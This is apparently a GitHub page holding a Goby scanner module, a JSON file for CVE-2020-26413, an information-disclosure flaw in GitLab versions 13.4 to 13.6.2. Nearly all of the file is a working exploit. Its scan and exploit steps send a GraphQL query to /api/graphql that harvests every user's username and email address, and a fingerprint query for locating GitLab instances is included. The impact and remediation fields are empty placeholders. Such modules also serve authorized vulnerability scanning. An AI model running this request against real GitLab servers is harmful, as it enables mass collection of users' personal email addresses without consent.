-
Notifications
You must be signed in to change notification settings - Fork 0
/
GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413.json
88 lines (88 loc) · 3.61 KB
/
GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
{
"Name": "GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413",
"Level": "0",
"Tags": [
"信息泄露"
],
"GobyQuery": "app=\"GitLab\"",
"Description": "GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名",
"Product": "GitLab 13.4 - 13.6.2",
"Homepage": "https://about.gitlab.com/pricing/",
"Author": "PeiQi",
"Impact": "<p>🐏</p>",
"Recommandation": "<p>undefined</p>",
"References": [
"https://wiki.peiqi.tech"
],
"HasExp": true,
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/graphql",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"query\":\"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }\",\"variables\":null,\"operationName\":null}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "username",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "email",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "@",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/graphql",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"query\":\"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }\",\"variables\":null,\"operationName\":null}"
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-03-09 13:34:57",
"GobyVersion": "1.8.237"
}